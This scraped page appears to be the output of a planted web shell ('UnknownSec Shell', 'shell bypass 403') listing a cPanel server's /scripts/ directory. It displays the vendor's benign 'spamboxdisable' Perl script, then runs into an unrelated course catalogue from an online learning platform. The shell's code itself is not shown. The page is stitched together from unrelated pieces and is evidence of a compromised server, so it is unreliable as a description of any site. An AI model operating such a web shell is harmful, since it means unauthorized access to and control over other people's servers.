shell bypass 403

UnknownSec Shell

: /scripts/ [ drwxr-xr-x ]

name : spamboxdisable
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/spamboxdisable                  Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use Cpanel::SafeFile;
use Cpanel::LoginDefs ();
use Getopt::Std;

my %options = ();
getopts( 'fqh', \%options );

$| = 1;

if ( defined( $options{'h'} ) ) {
    print <<EOM;

spamboxdisable command line options:
-f : force, bypass 5 second sleep
-q : quiet, do not provide any output on STDOUT
-h : display this message and exit
options 'f' and 'q' are useful when running this
script as a part of an automated process (e.g. cron).

EOM

    exit;
}

unless ( defined( $options{'q'} ) ) {
    print "??????????????????????????????????????????????????????????????????\n";
    print "This will disable SpamAssassin's spambox delivery for all accounts\n";
    print "on the server. If you do not wish to do this, then hit Ctrl-C now.\n";
    print "??????????????????????????????????????????????????????????????????\n\n";
    print "Sleeping for 5 seconds ... (Ctrl-C to abort) ";
}
unless ( defined( $options{'f'} ) ) {
    sleep(5);
}

unless ( defined( $options{'q'} ) ) {
    print "continuing.\n";
}

if ( !-e '/etc/passwd' ) {
    die "/etc/passwd does not exist!";
}

my @homedirs;

my $passwdlock = Cpanel::SafeFile::safeopen( \*PASS, '/etc/passwd' )
  || die "Unable to open /etc/passwd: $!";
while (<PASS>) {
    my ( $uid, $homedir ) = ( split( /:/, $_ ) )[ 2, 5 ];
    next if ( int($uid) < Cpanel::LoginDefs::get_uid_min() );
    if ( -d $homedir ) {
        push( @homedirs, $homedir );
    }
}
Cpanel::SafeFile::safeclose( \*PASS, $passwdlock );

my $removed = 0;
foreach my $homedir (@homedirs) {
    if ( -e $homedir . '/.spamassassinboxenable' ) {
        unless ( defined( $options{'q'} ) ) {
            print "Unlinking $homedir/.spamassassinboxenable\n";
        }
        unlink( $homedir . '/.spamassassinboxenable' );
        $removed = 1;
    }
}

unless ( defined( $options{'q'} ) ) {
    if ($removed) {
        print "Done\n";
    }
    else {
        print "No accounts currently have their spam box enabled.\n";
    }
}

© 2025 UnknownSec
Courses | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar

Courses

17 Courses
Course
Full Stack Web Development

Full Stack Web Development

in Web Development
83:20 Hours
10 Oct 2024
₹28,318.82
Course
Installment and Secure Host

Installment and Secure Host

in Business Strategy
5.00
1:30 Hours
16 Mar 2023
₹118
Course
New Update Features

New Update Features

in Language
4.00
1:30 Hours
21 Jun 2022
Free
Not conducted
Bestseller
New In-App Live System

New In-App Live System

in Communications
5.00
2:30 Hours
1 Mar 2026
₹11.80
Featured
New Learning Page

New Learning Page

in Lifestyle
5.00
3:30 Hours
1 Mar 2022
Free
Finished
How to Travel Around the World

How to Travel Around the World

in Lifestyle
5.00
2:30 Hours
2 Mar 2022
₹29.50

Type

More options